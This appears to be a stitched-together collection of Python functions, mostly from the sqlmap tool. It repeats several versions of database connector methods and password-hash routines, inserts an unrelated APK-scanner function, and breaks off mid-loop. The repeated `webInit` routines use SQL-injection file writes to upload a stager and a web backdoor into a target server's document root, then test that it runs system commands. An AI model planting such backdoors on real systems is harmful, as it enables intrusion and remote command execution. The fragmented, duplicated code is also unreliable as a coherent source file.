def connect(self):
self.initConnection()
self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db)
self.__dsn = utf8encode(self.__dsn)
self.user = utf8encode(self.user)
self.password = utf8encode(self.password)
try:
self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA)
logger.info("successfully connected as SYSDBA")
except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError):
try:
self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password)
except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg:
raise SqlmapConnectionException(msg)
def execute(self, query):
retVal = False
try:
self.cursor.execute(utf8encode(query))
retVal = True
except (cx_Oracle.DatabaseError), msg:
logger.warn("(remote) %s" % msg)
def execute(self, query):
retVal = False
try:
self.cursor.execute(utf8encode(query))
retVal = True
except cx_Oracle.DatabaseError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg)
def execute(self, query):
retVal = False
try:
self.cursor.execute(utf8encode(query))
retVal = True
except (pymssql.OperationalError, pymssql.ProgrammingError), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " "))
def execute(self, query):
retVal = False
try:
self.cursor.execute(utf8encode(query))
retVal = True
except (pymssql.OperationalError, pymssql.ProgrammingError), msg:
logger.warn("(remote) %s" % str(msg).replace("\n", " "))
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except self.__sqlite.OperationalError as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
except self.__sqlite.DatabaseError as ex:
raise SqlmapConnectionException(getSafeExString(ex))
self.connector.commit()
def execute(self, query):
retVal = False
try:
self.cursor.execute(utf8encode(query))
retVal = True
except cx_Oracle.DatabaseError as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
self.connector.commit()
return retVal
def execute(self, query):
retVal = False
try:
self.cursor.execute(utf8encode(query))
retVal = True
except (pymssql.OperationalError, pymssql.ProgrammingError) as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " "))
except pymssql.InternalError as ex:
raise SqlmapConnectionException(getSafeExString(ex))
return retVal
def connect(self):
self.initConnection()
self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db)
self.__dsn = utf8encode(self.__dsn)
self.user = utf8encode(self.user)
self.password = utf8encode(self.password)
try:
self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA)
logger.info("successfully connected as SYSDBA")
except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), ex:
if "Oracle Client library" in str(ex):
msg = re.sub(r"DPI-\d+:\s+", "", str(ex))
msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg)
msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg)
raise SqlmapConnectionException(msg)
try:
self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password)
except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg:
raise SqlmapConnectionException(msg)
def mssql_new_passwd(password, salt, uppercase=False):
"""
Reference(s):
http://hashcat.net/forum/thread-1474.html
>>> mssql_new_passwd(password='******', salt='4086ceb6', uppercase=False)
'0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25'
"""
binsalt = hexdecode(salt)
unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password))
retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest())
return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def mssql_passwd(password, salt, uppercase=False):
"""
Reference(s):
http://www.leidecker.info/projects/phrasendrescher/mssql.c
https://www.evilfingers.com/tools/GSAuditor.php
>>> mssql_passwd(password='******', salt='4086ceb6', uppercase=False)
'0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a'
"""
binsalt = hexdecode(salt)
unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password))
retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest())
return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def oracle_passwd(password, salt, uppercase=True):
"""
Reference(s):
https://www.evilfingers.com/tools/GSAuditor.php
http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/
http://seclists.org/bugtraq/2007/Sep/304
>>> oracle_passwd(password='******', salt='1B7B5F82B7235E9E182C', uppercase=True)
'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C'
"""
binsalt = hexdecode(salt)
retVal="s:%s%s" % (sha1(utf8encode(password) + binsalt).hexdigest(), salt)
return retVal.upper() if uppercase else retVal.lower()
def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005'
"""
Reference(s):
www.exploit-db.com/download_pdf/15537/
http://www.leidecker.info/projects/phrasendrescher/mssql.c
https://www.evilfingers.com/tools/GSAuditor.php
>>> mssql_old_passwd(password='******', salt='4086ceb6', uppercase=True)
'0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0'
"""
binsalt = hexdecode(salt)
unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password))
retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest())
return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def mssql_old_passwd(password,
salt,
uppercase=True): # prior to version '2005'
"""
Reference(s):
www.exploit-db.com/download_pdf/15537/
http://www.leidecker.info/projects/phrasendrescher/mssql.c
https://www.evilfingers.com/tools/GSAuditor.php
>>> mssql_old_passwd(password='******', salt='4086ceb6', uppercase=True)
'0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0'
"""
binsalt = hexdecode(salt)
unistr = "".join(
map(lambda c: ("%s\0"
if ord(c) < 256 else "%s") % utf8encode(c), password))
retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(),
sha1(unistr.upper() + binsalt).hexdigest())
return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except (pymssql.OperationalError, pymssql.ProgrammingError), msg:
logger.warn("(remote) %s" % msg)
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except (cx_Oracle.DatabaseError), msg:
logger.warn(msg)
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage, re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def execute(self, query):
try:
self.cursor.execute(utf8encode(query))
except self.__sqlite.OperationalError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0])
def start():
"""
controller start
"""
info_msg = "apkscan got a total of %s target apk file(s)" %len(kb.targets)
logger.info(info_msg)
for target in kb.targets:
try:
check_file(target)
conf.apk = target
except:
info_msg = "apk file has some problems!"
logger.info ( info_msg )
conf.apk = None
#except:
#info_msg = "fetch target apkfile from FTP server [%s]" %conf.ftp_host
#logger.info(info_msg)
#try:
#target_file = kb.storage.get(target)
#if target_file is not None and os.path.exists(target_file):
#conf.apk = target_file
#except:
#conf.apk = None
if not conf.apk:
warn_msg = "target apk file is not exists,pass"
logger.warn(warn_msg)
continue
flush_env()
send_heartbeat()
try:
for i in range(3):
data = aapt(conf.apk,async=False)
if data:
break
if not data:
error_msg = "parse apk failed. maybe is not a apkfile or aapt run error. check system env!"
logger.error(error_msg)
continue
init_apk_info(data)
avm = AndroidVersionMap()
apk_sdk_version = avm.get_version(kb.apk.sdkVersion) if kb.apk.sdkVersion else ''
info_msg ="apk name: %s" %kb.apk.application['label']
info_msg +="\napk version: %s" %kb.apk.package['versionName']
info_msg +="\napk package: %s" %kb.apk.package['name']
info_msg +="\napk icon: %s" %kb.apk.application['icon']
info_msg +="\napk size: %s" %kb.apk.file_size
info_msg +="\napk min-sdk-version: %s (%s)" %(kb.apk.sdkVersion, apk_sdk_version)
info_msg +="\napk md5 signature: %s" %kb.apk.md5
print utf8encode(info_msg)
#print kb.apk['uses-permission'],len(kb.apk['uses-permission'])
print "apk permissions:"
for perm in kb.apk.display_perm:
print '[+]', perm['Title']
send_heartbeat()
decoded_files = apktool(conf.apk, conf.nfs_path, async=False)
xml_obj = get_xml_obj(decoded_files)
kb.apk.manifest = xml_obj
kb.apk.providers = get_apk_providers(xml_obj)
kb.apk.receivers = get_apk_receivers(xml_obj)
kb.apk.services = get_apk_services(xml_obj)
kb.apk.activities = get_apk_activities(xml_obj)
kb.apk.actions = get_apk_actions(xml_obj)
print "APK Content Providers:"
for i in kb.apk.providers:
print '[+]', i
print "APK Broadcast Receivers:"
for i in kb.apk.receivers:
print '[+]', i
print "APK Services:"
for i in kb.apk.services:
print '[+]', i
print "APK Activities:"
for i in kb.apk.activities:
print '[+]', i
if conf.dex2jar:
send_heartbeat()
info_msg = "start dex2jar decode process"
logger.info(info_msg)
dex_file = os.path.join(decoded_files,'classes.dex')
jar_output_file = os.path.join(decoded_files,'classes_dex2jar.jar')
jar_file = dex2jar(dex_file, jar_output_file, flush=False, async=False)
kb.apk.jar_file = jar_file if jar_file else None
kb.apk.dex_file = dex_file if dex_file else None
info_msg = "dex2jar decode process complete"
logger.info(info_msg)
if conf.jad:
send_heartbeat()
info_msg = "start jad decode process"
logger.info(info_msg)
class_output = os.path.join(decoded_files,'class')
src_output = os.path.join(decoded_files,'src')
for floder in [class_output, src_output]:
if not os.path.exists(floder):
os.makedirs(floder)
jad(jar_file, decoded_files, flush=False, async=False)
info_msg = "jad decode process complete"
logger.info(info_msg)
info_msg = "start run plugins check"
logger.info(info_msg)
send_heartbeat()
start_plugin(decoded_files,conf.apk)
info_msg = "plugins check complete"
logger.info(info_msg)
send_heartbeat()
info_msg = "saving result"
logger.info(info_msg)
save_result(decoded_files)
if conf.api_url and conf.tid:
info_msg = "store files to server [%s]" %conf.ftp_host
logger.info(info_msg)
try:
icon_file_ext = kb.apk.application['icon'][-4:]
icon_file = os.path.join(decoded_files,kb.apk.application['icon'])
icon = 'apkicon/%s%s' %(kb.apk.md5,icon_file_ext)
kb.storage.put(icon_file, icon)
zip_file = os.path.join(paths.OUTPUT_PATH, '%s.zip' %kb.apk.md5)
zipdir(decoded_files, zip_file)
kb.storage.put(zip_file, '%s.zip' %kb.apk.md5)
info_msg = "put zip file '%s' to storage successful" %zip_file
logger.info(info_msg)
except Exception,e:
icon = None
err_msg = "put zip file '%s' to storage failed" %zip_file
logger.error(err_msg)
if conf.api_url and conf.tid:
info_msg = "upload result to API server [%s]" %conf.api_url
logger.info(info_msg)
post_obj = {}
post_obj['task_id'] = conf.tid
post_obj['result_content'] = []
data = {}
data['app_name'] = kb.apk.application['label']
data['app_version'] = kb.apk.package['versionName']
data['package_name'] = kb.apk.package['name']
data['app_icon'] = icon or kb.apk.application['icon']
data['app_risk'] = 1
data['app_md5'] = kb.apk.md5
data['file_size'] = kb.apk.file_size
data['min_sdk_version'] = kb.apk.sdkVersion
data['target_sdk_version'] = kb.apk.targetsdkVersion
data['app_permissions'] = kb.apk['uses-permission']
data['app_content_providers'] = kb.apk.providers
data['app_broadcast_receivers'] = kb.apk.receivers
data['app_services'] = kb.apk.services
data['app_activities'] = kb.apk.activities
data['app_vulns'] = result.plugins
data['vul_count'] = len(result.plugins)
post_obj['result_content'].append(data)
_ = upload_result(conf.api_url, conf.tid, 'static_scan' ,post_obj)
info_msg = "upload result [%s] successful" %kb.apk.md5 if _ else "upload result [%s] failed" %kb.apk.md5
logger.info(info_msg)
except:
def webInit(self):
"""
此方法用于在 web 服务器文档根目录中的可写远程目录中写入 web 后门 (代理)。
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = u"Web服务器支持哪种Web应用程序语言?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("无效值，只允许使用数字")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("无效值，它必须介于1和%d之间" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "你是否希望sqlmap进一步尝试引发完整的路径泄露? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(
r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-",
kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(
conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=",
conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(
value=value,
place=place,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(
r"(\A|;)(\w+)=[^;]*",
"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" %
(directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
